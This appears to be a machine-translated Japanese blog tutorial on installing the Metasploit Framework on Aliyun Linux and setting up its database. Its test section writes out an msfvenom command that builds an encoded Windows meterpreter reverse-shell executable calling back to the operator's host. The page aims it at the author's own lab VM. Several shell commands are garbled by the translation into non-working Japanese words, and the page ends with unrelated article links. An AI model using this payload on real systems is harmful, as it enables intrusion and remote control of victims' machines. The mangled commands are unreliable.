Linuxシステムにmsfをインストールするプロセスの詳細な説明

Linuxシステムにmsfをインストールするプロセスの詳細な説明

または、インストールプロセスを自分で書き留めてください。

私のサーバーシステムはAliyun Linuxです

1.ダウンロードしてインストールする
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

考えられるエラー: ファイル /etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit を開けませんでした

それはライブラリのインストールの問題によるものです!
解決:
yum インストール -y epel-release
次に、上記のコマンドを繰り返します。

2. 新しいユーザーを追加してmsfを実行する
adduser msf #msf ユーザーを追加
su msf #msfユーザーに切り替える
cd /opt/metasploit-framework/bin #msf があるディレクトリに切り替えます
./msfコンソール
#今後は msfconsole を起動し、起動時に msf ユーザーに切り替えて、データベースが同期されるようにします。
root ユーザーとして起動すると、データベースは同期されません。
(スタートアップ インデックスはデフォルトですでに構成されています!)
msfconsole を起動するだけです!

#関連コマンド [msf@xxxx root]$ msf
msfbinscan msfconsole msfd msfdb  
msfelfscan msfmachscan msfpescan msfrop  
msfrpc msfrpcd msfupdate msfvenom

# データベースの初期化 [msf@xxxx root]$ msfdb
コマンド:
 initはコンポーネントを初期化します
 reinit コンポーネントを削除して再初期化する
 コンポーネントを削除して停止する
 ステータスチェックコンポーネントステータス
 コンポーネントを開始する
 コンポーネントを停止する
 コンポーネントを再起動します
#テスト:
たとえば、私の仮想ホストはWin2003(ターゲットマシン)です。
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp 
LHOST=msf_ip 
LPORT=4444 -e x86/shikata_ga_nai -f exe > test.exe

注意:エラスティッククラウドサーバIPの場合、LHOSTはイ​​ントラネットで割り当てられたIPに設定する必要があり、パブリックIPは設定できません【この落とし穴に長い間悩まされていました! ! !血を吐く! ! ! ]

ここに画像の説明を挿入

ps: Linux システムに msf フレームワークをインストールする

注文:

http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run を実行します。
chmod 755 metasploit-latest-linux-installer.run
./metasploit-最新-linux-インストーラー.run

実行が終了するまでお待ちください。重要なポイントで Enter キーと Y キーを押すだけです。

要約する

Linux システムに msf をインストールする詳細なプロセスに関するこの記事はこれで終わりです。Linux システムに msf をインストールすることに関するより関連性の高いコンテンツについては、123WORDPRESS.COM の以前の記事を検索するか、以下の関連記事を引き続き参照してください。皆様が今後も 123WORDPRESS.COM をサポートしてくれることを願っています。

以下もご興味があるかもしれません:
  • php-msf ソースコードの詳細な説明
  • システム ストアド プロシージャ sp_MSforeachtable および sp_MSforeachdb の使用手順

<<:  React Native JSIはRNとネイティブ通信のサンプルコードを実装します

>>:  Linux Centos7 に mysql8 をインストールするチュートリアル

推薦する

HTML テーブルの行間および列間の操作 (rowspan、colspan)

一般的に、<td> 要素の colspan 属性はセルの列間操作を実装するために使用され...

MySQL 5.5.56 インストール不要版の設定方法

MySQL 5.5.56無料インストール版の設定方法をテキストコードで詳しく説明します。具体的な内容...

HTML/CSSにおける記号論の詳細な説明

この記事では、ソシュールの言語哲学などの理論に基づいて、CSS の class 属性は不要であると主...

知っておくべき 7 つのネイティブ JS エラーの種類

目次概要1. 範囲エラー2. 参照エラー3. 構文エラー4. タイプエラー5. URIエラー6. 評...

VMware pro15 インストール macOS10.13 詳細インストール図(画像とテキスト)

編集者は最近、macOS システムを使い始めたかったので、VMware に macOS イメージ シ...

Linux の操作とメンテナンスの基本的なスワップ パーティションと LVM 管理のチュートリアル

目次1. スワップパーティション SWAP 1.1 スワップファイルを作成する1.2 スワップパーテ...

CSSを使用して円形の波効果を実現する

モバイル デバイスでは、金額を表示するために円形の波グラフィックがよく使用されます。最初は、この効果...

nginx ベースのブラウザネゴシエーションキャッシュプロセスの詳細な説明

この記事は主に、nginx に基づいてブラウザネゴシエーションキャッシュを設定する詳細なプロセスを紹...

Navicat Premium が MySQL 8.0 に接続してエラー「1251」を報告する問題を解決する方法の分析

長い間何もしていなかった人は、努力をすると一生懸命働いていると思うようになります。 1. 問題Nav...

リソースアップロード機能を実現するための SpringBoot+nginx の詳細な例

最近、画像、ビデオ、CSS/JS などの静的リソースを配置するために nginx を使用する方法を学...

JavaScript でドラッグ スライダー パズルの検証機能を実装します (html5、canvas)

導入:スライダー ドラッグ検証は現在、多くの場所で使用されています。週末に 1 つ作成しようと思い、...

テキストの折り畳み特殊効果を実現する HTML+CSS の例

この記事では、主に HTML + CSS を使用してテキストの折りたたみ特殊効果を実現する例を紹介し...

Vue における $router と $route の違いの詳細な説明

通常、vue プロジェクトではルーティングを使用します。vue-router は vue.js の公...

vue+antv でレーダーチャートを実装するためのサンプルコード

1. 依存関係をダウンロードするnpm インストール @antv/データセットnpm インストール ...

ローカルストレージにブール型の値を保存する際の落とし穴を解決する

LocalStorageはブール値を保存します今日、ブール値データを保存するために localsto...